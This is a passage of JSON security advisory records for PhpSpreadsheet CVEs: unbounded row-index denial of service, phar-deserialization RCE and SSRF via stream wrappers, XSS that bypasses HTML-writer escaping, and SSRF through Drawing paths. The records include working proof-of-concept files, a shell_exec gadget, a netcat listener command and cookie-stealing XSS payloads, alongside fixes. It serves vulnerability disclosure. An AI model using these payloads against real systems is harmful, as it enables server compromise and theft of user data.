src/PhpSpreadsheet/Reader/Xlsx/ColumnAndRowAttributes.php:216\n// Before:\n$rowIndex = (int) $row['r'];\n\n// After:\n$rowIndex = (int) $row['r'];\nif ($rowIndex \u003c 1 || $rowIndex \u003e AddressRange::MAX_ROW) {\n    continue;\n}\n```\n\nThe `AddressRange` import is already present at line 5 of this file. This fix is consistent with the existing cell coordinate validation in `Coordinate::coordinateFromString()` and the column validation at line 161.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-04-29T20:24:13.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-7c6m-4442-2x6m","https://nvd.nist.gov/vuln/detail/CVE-2026-40902","https://github.com/advisories/GHSA-7c6m-4442-2x6m"],"source_kind":"github","identifiers":["GHSA-7c6m-4442-2x6m","CVE-2026-40902"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-29T21:00:08.866Z","updated_at":"2026-10-26T21:04:02.657Z","epss_percentage":0.00395,"epss_percentile":0.33446,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03YzZtLTQ0NDItMng2bc4ABV7P","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS03YzZtLTQ0NDItMng2bc4ABV7P","packages":[{"ecosystem":"packagist","package_name":"phpoffice/phpspreadsheet","versions":[{"first_patched_version":"1.30.4","vulnerable_version_range":"\u003c= 1.30.3"},{"first_patched_version":"2.1.16","vulnerable_version_range":"\u003e= 2.0.0, \u003c= 2.1.15"},{"first_patched_version":"2.4.5","vulnerable_version_range":"\u003e= 2.2.0, \u003c= 2.4.4"},{"first_patched_version":"3.10.5","vulnerable_version_range":"\u003e= 3.3.0, \u003c= 3.10.4"},{"first_patched_version":"5.7.0","vulnerable_version_range":"\u003e= 4.0.0, \u003c= 5.6.0"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03YzZtLTQ0NDItMng2bc4ABV7P/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS04NHdxLTg2djYteDVqNs4ABV7O","url":"https://github.com/advisories/GHSA-84wq-86v6-x5j6","title":"PhpSpreadsheet has CPU Denial of Service via Unbounded Row Index in SpreadsheetML XML Reader","description":"## Summary\n\nThe SpreadsheetML XML reader (`Reader\\Xml`) does not validate the `ss:Index` row attribute against the maximum allowed row count (`AddressRange::MAX_ROW = 1,048,576`). An attacker can craft a SpreadsheetML XML file with `ss:Index=\"999999999\"` on a `\u003cRow\u003e` element, which inflates the internal `cachedHighestRow` to ~1 billion. Any subsequent call to `getRowIterator()` without an explicit end row will attempt to iterate ~1 billion rows, causing CPU exhaustion and denial of service.\n\n## Details\n\nIn `src/PhpSpreadsheet/Reader/Xml.php`, the `loadSpreadsheetFromFile` method processes `\u003cRow\u003e` elements:\n\n```php\n// Xml.php:397-402\nif (isset($row_ss['Index'])) {\n    $rowID = (int) $row_ss['Index']; // No validation against MAX_ROW\n}\nif (isset($row_ss['Hidden'])) {\n    $rowVisible = ((string) $row_ss['Hidden']) !== '1';\n    $spreadsheet-\u003egetActiveSheet()-\u003egetRowDimension($rowID)-\u003esetVisible($rowVisible);\n}\n```\n\nThe `$rowID` value read from `ss:Index` is cast to int with no upper bound check. It is then passed to `getRowDimension()`:\n\n```php\n// Worksheet.php:1342-1351\npublic function getRowDimension(int $row): RowDimension\n{\n    if (!isset($this-\u003erowDimensions[$row])) {\n        $this-\u003erowDimensions[$row] = new RowDimension($row);\n        $this-\u003ecachedHighestRow = max($this-\u003ecachedHighestRow, $row);\n    }\n    return $this-\u003erowDimensions[$row];\n}\n```\n\nThis inflates `cachedHighestRow` to the attacker-controlled value. Additionally, at line 412, `$cellRange = $columnID . $rowID` is constructed and passed to `getCell()`, which calls `createNewCell()` (Worksheet.php:1294) and also sets `cachedHighestRow`.\n\nThe `RowIterator` constructor uses `getHighestRow()` as its default end row:\n\n```php\n// RowIterator.php:84-88\npublic function resetEnd(?int $endRow = null): static\n{\n    $this-\u003eendRow = $endRow ?: $this-\u003esubject-\u003egetHighestRow();\n    return $this;\n}\n```\n\nWith `cachedHighestRow` at ~1 billion, iterating over rows causes CPU exhaustion. The `DefaultReadFilter` provides no protection — it returns `true` for all cells.\n\nEven without the `Hidden` attribute, any cell data within the row still uses the inflated `$rowID` at line 412, so the `ss:Hidden` attribute is not required to trigger the vulnerability.\n\n## PoC\n\n1. Create `poc.xml`:\n```xml\n\u003c?xml version=\"1.0\"?\u003e\n\u003c?mso-application progid=\"Excel.Sheet\"?\u003e\n\u003cWorkbook xmlns=\"urn:schemas-microsoft-com:office:spreadsheet\"\n xmlns:ss=\"urn:schemas-microsoft-com:office:spreadsheet\"\u003e\n \u003cWorksheet ss:Name=\"Sheet1\"\u003e\n  \u003cTable\u003e\n   \u003cRow ss:Index=\"999999999\" ss:Hidden=\"1\"/\u003e\n   \u003cRow\u003e\u003cCell\u003e\u003cData ss:Type=\"String\"\u003etest\u003c/Data\u003e\u003c/Cell\u003e\u003c/Row\u003e\n  \u003c/Table\u003e\n \u003c/Worksheet\u003e\n\u003c/Workbook\u003e\n```\n\n2. Load and iterate:\n```php\n\u003c?php\nrequire 'vendor/autoload.php';\nuse PhpOffice\\PhpSpreadsheet\\IOFactory;\n\n$reader = IOFactory::createReader('Xml');\n$spreadsheet = $reader-\u003eload('poc.xml');\n$sheet = $spreadsheet-\u003egetActiveSheet();\n\necho \"Highest row: \" . $sheet-\u003egetHighestRow() . \"\\n\";\n// Outputs: Highest row: 1000000000\n\n// This loop will attempt ~1 billion iterations → CPU exhaustion\nforeach ($sheet-\u003egetRowIterator() as $row) {\n    // Never completes\n}\n```\n\n## Impact\n\nAny PHP application that processes user-uploaded SpreadsheetML XML files using PhpSpreadsheet is vulnerable. An attacker can cause denial of service by:\n\n- Exhausting server CPU with a single small XML file (~300 bytes)\n- Blocking the PHP worker process, potentially affecting all concurrent users\n- Triggering PHP max_execution_time limits that still consume resources before killing the process\n\nThe attack requires no authentication — only the ability to upload or cause the application to process a crafted SpreadsheetML file.\n\n## Recommended Fix\n\nAdd MAX_ROW validation after reading the `ss:Index` attribute in `src/PhpSpreadsheet/Reader/Xml.php`:\n\n```php\n// After line 398:\nif (isset($row_ss['Index'])) {\n    $rowID = (int) $row_ss['Index'];\n    if ($rowID \u003e AddressRange::MAX_ROW) {\n        $rowID = AddressRange::MAX_ROW;\n    }\n}\n```\n\nAdd the necessary import at the top of the file:\n```php\nuse PhpOffice\\PhpSpreadsheet\\Cell\\AddressRange;\n```\n\nThe same validation should also be applied to the `ss:Index` attribute on `\u003cCell\u003e` elements (line 409) for the column dimension.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-04-29T20:23:27.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-84wq-86v6-x5j6","https://nvd.nist.gov/vuln/detail/CVE-2026-40863","https://github.com/advisories/GHSA-84wq-86v6-x5j6"],"source_kind":"github","identifiers":["GHSA-84wq-86v6-x5j6","CVE-2026-40863"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-29T21:00:08.866Z","updated_at":"2026-10-27T10:04:03.584Z","epss_percentage":0.00395,"epss_percentile":0.33446,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04NHdxLTg2djYteDVqNs4ABV7O","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS04NHdxLTg2djYteDVqNs4ABV7O","packages":[{"ecosystem":"packagist","package_name":"phpoffice/phpspreadsheet","versions":[{"first_patched_version":"1.30.6","vulnerable_version_range":"\u003c= 1.30.5"},{"first_patched_version":"2.1.16","vulnerable_version_range":"\u003e= 2.0.0, \u003c= 2.1.15"},{"first_patched_version":"2.4.5","vulnerable_version_range":"\u003e= 2.2.0, \u003c= 2.4.4"},{"first_patched_version":"3.10.5","vulnerable_version_range":"\u003e= 3.3.0, \u003c= 3.10.4"},{"first_patched_version":"5.7.0","vulnerable_version_range":"\u003e= 4.0.0, \u003c= 5.6.0"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS04NHdxLTg2djYteDVqNs4ABV7O/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1xNHE2LXI4d2gtNWNnaM4ABV7N","url":"https://github.com/advisories/GHSA-q4q6-r8wh-5cgh","title":"PhpSpreadsheet has SSRF/RCE in IOFactory::load when $filename is user controlled","description":"The usage of `is_file`, used to verify if the `$filename` is indeed an actual file, by all(?) `Reader` implementations (inside the helper function `File::assertFile`) is php-wrapper aware, for any [php wrappers](https://www.php.net/manual/en/wrappers.php) implementing `stat()`.\nThe 3 wrappers `ftp://`, `phar://` and `ssh2.sftp://`, all satisfy this requirement - 2 of which are shown in the PoC below.\n\nThis results in a SSRF, at \"best\", and RCE at worse.\n\nThis was tested against the `latest` release - but the issue seems to go back a while from a first quick check (still present in `v1.30.2`).\n\n## PoC\nTo reproduce the vulnerable behavior, the following scripts were used:\n\n`php.ini` file, only needed to build the malicious phar, not necessary to exploit on a deployed instance of the library:\n```ini\nphar.readonly=0\n```\n\n`make_phar.php` to create the malicious file:\n```php\n\u003c?php\n// php -c php.ini make_phar.php\nclass GadgetClass {\n    public $data;\n    function __construct($d) {\n        $this-\u003edata = $d;\n    }\n    function __destruct() {\n        shell_exec($this-\u003edata);\n    }\n}\n\n$pop = new GadgetClass('touch /tmp/poc.txt');\n\n$phar = new Phar('exploit.phar');\n$phar-\u003estartBuffering();\n$phar-\u003esetStub('\u003c?php __HALT_COMPILER(); ?\u003e');\n$phar-\u003eaddFromString('whatever', 'dummy content');\n$phar-\u003esetMetadata($pop);\n$phar-\u003estopBuffering();\n\nrename('exploit.phar', 'exploit.xlsx'); // optional\necho \"exploit.xlsx created \\n\";\n\n```\n\n`test.php` showcases the unsafe pattern:\n```php\n\u003c?php\nrequire 'vendor/autoload.php';\n\nuse PhpOffice\\PhpSpreadsheet\\IOFactory;\n\nclass GadgetClass {\n    public $data;\n    function __construct($d) {\n        $this-\u003edata = $d;\n    }\n    function __destruct() {\n        shell_exec($this-\u003edata);\n    }\n}\n\n$filename = $argv[1] ?? null;\n\nif (!$filename) {\n    echo \"Usage: php test.php \u003cpath\u003e\\n\";\n    echo \"  e.g. php test.php phar://exploit.xlsx/whatever\\n\";\n    exit(1);\n}\n\necho \"Calling IOFactory::load('\" . $filename . \"')\\n\";\n\ntry {\n    $spreadsheet = IOFactory::load($filename);\n    var_dump($spreadsheet);\n} catch (Throwable $e) {\n    echo \"Vuln has still triggered even if exception triggers.\\n\";\n}\n\n\n```\n### RCE \nRun the PoC (for RCE):\n```bash\nphp -c php.ini make_phar.php \u0026\u0026 php test.php phar://exploit.xlsx/test; ls -lah /tmp/poc.txt\n```\nThe file `/tmp/poc.txt` should now be present on disk.\n\u003e Note: the vuln still triggers if the file pointed to inside the phar does not exist/is not supported (html, xlsx, etc...). This means an attacker could \"silently\" trigger the vuln without leaving any error logs if the file inside the phar exists and is supported instead. \n\n### SSRF\nRun the PoC (for SSRF):\n```bash\nncat -lvp 21 #run on another terminal\nphp test.php ftp://127.0.0.1:21/test\n```\n\nObserve a connection is made to `127.0.0.1` on port `21`.\n\n\n\n## Root Cause Analysis \n\nFollowing the API exposed by the library, using `IOFactory::load`, the code proceeds as follows:\n```php\nIOFactory::load($filename) -\u003e IReader::load($filename, $flags) -\u003e IReader::loadSpreadsheetFromFile($filename) -\u003e  File::assertFile($filename, ...) -\u003e is_file($filename);\n```\n\n\nThe one obvious gadget that was found is guarded via `__unserialize` (or `__wakeup` in older versions) in the `XMLWriter` class, making it not possible to use the phar deserialization as a standalone attack vector using just this library - it is still viable to create \"POP\" gadget chains via other classes which may be available in real-world deployment scenarios.\n\n```php\n    public function __destruct()\n    {\n        // Unlink temporary files\n        // There is nothing reasonable to do if unlink fails.\n        if ($this-\u003etempFileName != '') {\n            @unlink($this-\u003etempFileName);\n        }\n    }\n\n    /** @param mixed[] $data */\n    public function __unserialize(array $data): void\n    {\n        $this-\u003etempFileName = '';\n\n        throw new SpreadsheetException('Unserialize not permitted');\n    }\n```\n\nPhpspreadsheet is used as a backbone for many library wrappers, including very widespread ones from [packagist ](https://packagist.org)like `maatwebsite/excel` for Laravel, `sonata-project/exporter` and so on, hence the deserialization vector stays relevant in other contexts.\n\n## Suggested mitigations\n\nUse `is_file` only after making sure the filename does not contain any php wrapper:\n```php\n$scheme = parse_url($filename, PHP_URL_SCHEME);\n// strlen check \u003e 1 to avoid issues with Windows absolute paths (e.g. C:\\...), Windows quirks :)\n// since no built-in or commonly registered PHP stream wrapper uses a single-character scheme, this should be ok, to my knowledge\nif ($scheme !== null \u0026\u0026 strlen($scheme) \u003e 1) {\n    throw new \\PhpOffice\\PhpSpreadsheet\\Exception(\n        \"Stream wrappers are not permitted as file paths: {$filename}\"\n    );\n}\n```\n\nor perhaps even just passing it to `realpath` before calling `is_file` to ensure it is parsed correctly:\n```php\n$real = realpath($filename); // not php wrapper aware AFAIK\nif ($real === false) {\n    throw new \\PhpOffice\\PhpSpreadsheet\\Exception(\"Invalid file path: {$filename}\");\n}\n\n// from here on, $real should be a clean absolute path so we can pass it to is_file()\nif (!is_file($real)) {\n    throw new ...\n}\n```\n\n\u003e Note: `stream_is_local()` would also not be safe here — as it considers `phar://` to be local and would not block it.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-04-29T20:22:30.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.2,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-q4q6-r8wh-5cgh","https://www.php.net/manual/en/wrappers.php","https://nvd.nist.gov/vuln/detail/CVE-2026-34084","https://github.com/advisories/GHSA-q4q6-r8wh-5cgh"],"source_kind":"github","identifiers":["GHSA-q4q6-r8wh-5cgh","CVE-2026-34084"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-29T21:00:08.866Z","updated_at":"2026-10-26T21:04:02.659Z","epss_percentage":0.00712,"epss_percentile":0.53339,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xNHE2LXI4d2gtNWNnaM4ABV7N","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1xNHE2LXI4d2gtNWNnaM4ABV7N","packages":[{"ecosystem":"packagist","package_name":"phpoffice/phpspreadsheet","versions":[{"first_patched_version":"1.30.3","vulnerable_version_range":"\u003c= 1.30.2"},{"first_patched_version":"2.1.15","vulnerable_version_range":"\u003e= 2.0.0, \u003c= 2.1.14"},{"first_patched_version":"2.4.4","vulnerable_version_range":"\u003e= 2.2.0, \u003c= 2.4.3"},{"first_patched_version":"3.10.4","vulnerable_version_range":"\u003e= 3.3.0, \u003c= 3.10.3"},{"first_patched_version":"5.6.0","vulnerable_version_range":"\u003e= 4.0.0, \u003c= 5.5.0"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xNHE2LXI4d2gtNWNnaM4ABV7N/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1ocm13LXFwcnAtd2dtY84ABV4m","url":"https://github.com/advisories/GHSA-hrmw-qprp-wgmc","title":"PhpSpreadsheet has XSS via number format code with @ text placeholder bypasses htmlspecialchars in HTML writer","description":"It was discovered that there is a way to bypass HTML escaping in the HTML writer using custom number format codes.\n\n## The Problem\n\nIn `Writer/Html.php` around line 1592, the code checks if the formatted cell data equals the original data to decide whether to apply `htmlspecialchars()`:\n\n```php\nif ($cellData === $origData) {\n    $cellData = htmlspecialchars($cellData, ...);\n}\n```\n\nWhen a cell has a custom number format containing `@` (text placeholder) with any additional literal characters, the formatter replaces `@` with the cell value and adds the extra characters. This makes `$cellData !== $origData`, so `htmlspecialchars()` is **skipped entirely**.\n\nEven a single trailing space in the format (`@ `) is enough to bypass the escape.\n\n## Proof of Concept\n\n```php\nuse PhpOffice\\PhpSpreadsheet\\Spreadsheet;\nuse PhpOffice\\PhpSpreadsheet\\Writer\\Html;\nuse PhpOffice\\PhpSpreadsheet\\Cell\\DataType;\n\n$spreadsheet = new Spreadsheet();\n$sheet = $spreadsheet-\u003egetActiveSheet();\n\n// XSS payload with malicious number format\n$sheet-\u003esetCellValueExplicit('A1', '\u003cimg src=x onerror=alert(document.cookie)\u003e', DataType::TYPE_STRING);\n$sheet-\u003egetStyle('A1')-\u003egetNumberFormat()-\u003esetFormatCode('. @');\n\n$writer = new Html($spreadsheet);\n$writer-\u003esave('output.html');\n```\n\nThe generated HTML contains:\n```html\n\u003ctd\u003e. \u003cimg src=x onerror=alert(document.cookie)\u003e\u003c/td\u003e\n```\n\nThe XSS payload is **completely unescaped**.\n\n## Tested Bypass Formats\n\n| Format Code | Result | Escaped? |\n|---|---|---|\n| `General` (default) | Original value | YES (safe) |\n| `. @` | `. ` + value | **NO (XSS!)** |\n| `@ ` (trailing space) | value + ` ` | **NO (XSS!)** |\n| `x@` | `x` + value | **NO (XSS!)** |\n\nThis was tested with PhpSpreadsheet 4.5.0 and confirmed the XSS executes in the browser.\n\n## Impact\n\nAny application that:\n1. Accepts uploaded XLSX files from users\n2. Converts them to HTML using PhpSpreadsheet's HTML writer\n3. Displays the HTML to other users\n\n...is vulnerable to stored XSS. The attacker embeds the payload in a cell value and sets a custom number format in the XLSX file's `xl/styles.xml`.\n\n## Suggested Fix\n\nAlways apply `htmlspecialchars()` regardless of whether formatting changed the value:\n\n```php\n// Instead of conditional escaping:\n$cellData = htmlspecialchars($cellData, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');\n```\n\nOr escape AFTER formatting, not conditionally based on equality.\n\n## Reporter\nKeyvan Hardani","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-04-28T22:57:13.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.4,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","references":["https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-hrmw-qprp-wgmc","https://nvd.nist.gov/vuln/detail/CVE-2026-40296","https://github.com/advisories/GHSA-hrmw-qprp-wgmc"],"source_kind":"github","identifiers":["GHSA-hrmw-qprp-wgmc","CVE-2026-40296"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-28T23:00:08.524Z","updated_at":"2026-10-26T21:04:04.266Z","epss_percentage":0.00225,"epss_percentile":0.13034,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ocm13LXFwcnAtd2dtY84ABV4m","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1ocm13LXFwcnAtd2dtY84ABV4m","packages":[{"ecosystem":"packagist","package_name":"phpoffice/phpspreadsheet","versions":[{"first_patched_version":"1.30.4","vulnerable_version_range":"\u003c= 1.30.3"},{"first_patched_version":"2.1.16","vulnerable_version_range":"\u003e= 2.0.0, \u003c= 2.1.15"},{"first_patched_version":"2.4.5","vulnerable_version_range":"\u003e= 2.2.0, \u003c= 2.4.4"},{"first_patched_version":"3.10.5","vulnerable_version_range":"\u003e= 3.3.0, \u003c= 3.10.4"},{"first_patched_version":"5.7.0","vulnerable_version_range":"\u003e= 4.0.0, \u003c= 5.6.0"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ocm13LXFwcnAtd2dtY84ABV4m/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02d3BwLTg4Y3AtN3E2OM4ABV4k","url":"https://github.com/advisories/GHSA-6wpp-88cp-7q68","title":"PhpSpreadsheet has XSS via NumberFormat @ Text Substitution in HTML Writer","description":"### Summary\nThe HTML Writer in PhpSpreadsheet bypasses `htmlspecialchars()` output escaping when a cell uses a custom number format containing the `@` text placeholder with additional literal text (e.g., `@ \"items\"` or `\"Total: \"@`). This allows an attacker to inject arbitrary HTML and JavaScript into the generated HTML output by crafting a malicious XLSX file.\n\n### Details\n\n\n#### 1. Conditional escaping in `Html.php:1586-1594`\n\n```php\n$cellData = NumberFormat::toFormattedString(\n    $origData2,\n    $formatCode ?? NumberFormat::FORMAT_GENERAL,\n    [$this, 'formatColor']\n);\n\nif ($cellData === $origData) {\n    $cellData = htmlspecialchars($cellData, Settings::htmlEntityFlags());\n}\n```\n\n`htmlspecialchars()` is only called when `$cellData === $origData` (strict comparison). If the formatted output differs from the original value in any way, escaping is skipped entirely.\n\n#### 2. Early return in `Formatter.php:136-152`\n\n```php\nif (preg_match(self::SECTION_SPLIT, $format) === 0\n    \u0026\u0026 preg_match(self::SYMBOL_AT, $formatx) === 1) {\n    if (!str_contains($format, '\"')) {\n        return str_replace('@', /* raw value */, $format);\n    }\n    return str_replace(/* ... preg_replace with raw value ... */);\n}\n```\n\nWhen the format code contains `@` with additional literal text (e.g., `@ \"items\"`), the formatter substitutes the raw cell value into the format string and **returns early** — the `formatColor` callback (which would have applied `htmlspecialchars`) is never invoked.\n\n\n### PoC\n\n**test.php**\n``` php\n\u003c?php\n\nrequire '/app/vendor/autoload.php';\n\nuse PhpOffice\\PhpSpreadsheet\\Spreadsheet;\nuse PhpOffice\\PhpSpreadsheet\\Writer\\Html;\n\n$spreadsheet = new Spreadsheet();\n$sheet = $spreadsheet-\u003egetActiveSheet();\n\n$payload    = '\u003cimg src=x onerror=alert(document.domain)\u003e';\n$formatCode = '@ \"items\"';\n\n\n$sheet-\u003esetCellValue('A1', $payload);\n$sheet-\u003egetStyle('A1')-\u003egetNumberFormat()-\u003esetFormatCode($formatCode);\n\n$writer = new Html($spreadsheet);\n$html = $writer-\u003egenerateHTMLAll();\n\nfile_put_contents('/app/output.html', $html);\n\necho \"HTML output saved to /app/output.html\\n\";\n```\n\nThe produced output contains unescaped data.\n``` html\n\u003c!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\"\u003e\n\u003chtml xmlns=\"http://www.w3.org/1999/xhtml\"\u003e\n  \u003chead\u003e\n      \u003cmeta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /\u003e\n      \u003cmeta name=\"generator\" content=\"PhpSpreadsheet, https://github.com/PHPOffice/PhpSpreadsheet\" /\u003e\n      \u003ctitle\u003eUntitled Spreadsheet\u003c/title\u003e\n      \u003cmeta name=\"author\" content=\"Unknown Creator\" /\u003e\n      \u003cmeta name=\"title\" content=\"Untitled Spreadsheet\" /\u003e\n      \u003cmeta name=\"lastModifiedBy\" content=\"Unknown Creator\" /\u003e\n      \u003cmeta name=\"created\" content=\"2026-04-02T16:34:44+00:00\" /\u003e\n      \u003cmeta name=\"modified\" content=\"2026-04-02T16:34:44+00:00\" /\u003e\n    \u003cstyle type=\"text/css\"\u003e\n[..SNIP..]\n    \u003c/style\u003e\n  \u003c/head\u003e\n\n  \u003cbody\u003e\n\u003cdiv style='page: page0'\u003e\n    \u003ctable border='0' cellpadding='0' cellspacing='0' id='sheet0' class='sheet0 gridlines'\u003e\n        \u003ccol class=\"col0\" /\u003e\n        \u003ctbody\u003e\n          \u003ctr class=\"row0\"\u003e\n            \u003ctd class=\"column0 style1 s\"\u003e\u003cimg src=x onerror=alert(document.domain)\u003e items\u003c/td\u003e\n          \u003c/tr\u003e\n    \u003c/tbody\u003e\u003c/table\u003e\n\u003c/div\u003e\n  \u003c/body\u003e\n\u003c/html\u003e\n```\n\n\u003cimg width=\"719\" height=\"716\" alt=\"Screenshot 2026-04-02 at 18 45 53\" src=\"https://github.com/user-attachments/assets/b758b063-a2d1-4e76-87bb-931eae81dbfe\" /\u003e\n\n\n\n### Impact\n\nThe impact changes based on the way the HTML is served. \nIn case it is served from the web server it is typical XSS, in case the file is downloaded and opened locally, the attack vector is more limited.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-04-28T22:50:31.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-6wpp-88cp-7q68","https://nvd.nist.gov/vuln/detail/CVE-2026-35453","https://github.com/advisories/GHSA-6wpp-88cp-7q68"],"source_kind":"github","identifiers":["GHSA-6wpp-88cp-7q68","CVE-2026-35453"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-28T23:00:08.524Z","updated_at":"2026-10-26T21:04:04.266Z","epss_percentage":0.00202,"epss_percentile":0.10079,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02d3BwLTg4Y3AtN3E2OM4ABV4k","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02d3BwLTg4Y3AtN3E2OM4ABV4k","packages":[{"ecosystem":"packagist","package_name":"phpoffice/phpspreadsheet","versions":[{"first_patched_version":"1.30.4","vulnerable_version_range":"\u003c= 1.30.3"},{"first_patched_version":"2.1.16","vulnerable_version_range":"\u003e= 2.0.0, \u003c= 2.1.15"},{"first_patched_version":"2.4.5","vulnerable_version_range":"\u003e= 2.2.0, \u003c= 2.4.4"},{"first_patched_version":"3.10.5","vulnerable_version_range":"\u003e= 3.3.0, \u003c= 3.10.4"},{"first_patched_version":"5.7.0","vulnerable_version_range":"\u003e= 4.0.0, \u003c= 5.6.0"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02d3BwLTg4Y3AtN3E2OM4ABV4k/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1yeDdtLTY4dmMtcHB4aM4ABLZU","url":"https://github.com/advisories/GHSA-rx7m-68vc-ppxh","title":"PhpSpreadsheet vulnerable to SSRF when reading and displaying a processed HTML document in the browser","description":"**Product:** PhpSpreadsheet\n**Version:** 3.8.0\n**CWE-ID:** CWE-918: Server-Side Request Forgery (SSRF)\n**CVSS vector v.3.1:** 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)\n**CVSS vector v.4.0:** 8.7 (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N)\n**Description:** SSRF occurs when a processed HTML document is read and displayed in the browser\n**Impact:** Server-Side Request Forgery\n**Vulnerable component:** the `PhpOffice\\PhpSpreadsheet\\Worksheet\\Drawing` class, `setPath` method\n**Exploitation conditions:** getting a string from the user that is passed to the HTML reader\n**Mitigation:** improved processing of the `$path` variable of the `setPath` method of the `PhpOffice\\PhpSpreadsheet\\Worksheet\\Drawing` class is needed\n**Researcher: Aleksey Solovev (Positive Technologies)**\n\n# Research\nThe researcher discovered zero-day vulnerability Server-Side Request Forgery (SSRF) (in the `setPath` method of the `PhpOffice\\PhpSpreadsheet\\Worksheet\\Drawing` class) in Phpspreadsheet.\nThe latest version (3.8.0) of the `phpoffice/phpspreadsheet` library was installed. Below are the details of the installation:\n\n*Listing 1. Installing the phpoffice/phpspreadsheet library*\n```\n$ composer require phpoffice/phpspreadsheet --prefer-source\n```\nThe code that processes the HTML string with further rendering and displaying the result in the browser.\n*Listing 2. Executable file index.php using the PhpSpreadsheet library*\n```\n\u003c?php\n\nrequire __DIR__ . '/vendor/autoload.php';\n\n$inputFileType = 'Html';\n$reader = \\PhpOffice\\PhpSpreadsheet\\IOFactory::createReader($inputFileType);  \n\n\n$inputFileName = './doc/file.html';\n$spreadsheet = $reader-\u003eload($inputFileName); \n\n$writer = new \\PhpOffice\\PhpSpreadsheet\\Writer\\Html($spreadsheet); \nprint($writer-\u003egenerateHTMLAll());\n```\n\nAlso, the `./doc/file.html` has the following content: the `img` tag with the `src` attribute, which contains the value `http:// 127.0.0.1:1337`\n\n*Listing 3. The ./doc/file.html file*\n```\n\u003ctable\u003e\n    \u003ctr\u003e\n        \u003cimg src=\"http://127.0.0.1:1337\"\u003e\n    \u003c/tr\u003e\n\u003c/table\u003e\n```\nThe vulnerability lies in the `setPath` method of the `PhpOffice\\PhpSpreadsheet\\Worksheet\\Drawing` class.\n \nFigure 1. The `PhpOffice\\PhpSpreadsheet\\Worksheet\\Drawing` class, `setPath` method.\n\n![fig1](https://github.com/user-attachments/assets/75433f59-fac6-46d5-bcfd-6d0174bfcedd)\n\nFigure 2 below demonstrates the SSRF vulnerability exploitation.\n\n![fig2](https://github.com/user-attachments/assets/3601692b-b077-420f-a2fb-8af0b66b6475)\n\nFigure 2. Demonstration of the SSRF vulnerability exploitation\n\nAlso, there is code on line 154 that could potentially be used by an attacker to perform unsafe deserialization via the `phar` archive and the `file_exists` method.\n \nFigure 3. Opportunity to perform phar deserialization\n![fig3](https://github.com/user-attachments/assets/3d7d4fc2-1b89-4925-82fa-e21c773efd47)\n\n_____________________________________________\n\nPlease, assign all credits to: Aleksey Solovev (Positive Technologies)\n\n# Credit\n\nAleksey Solovev (Positive 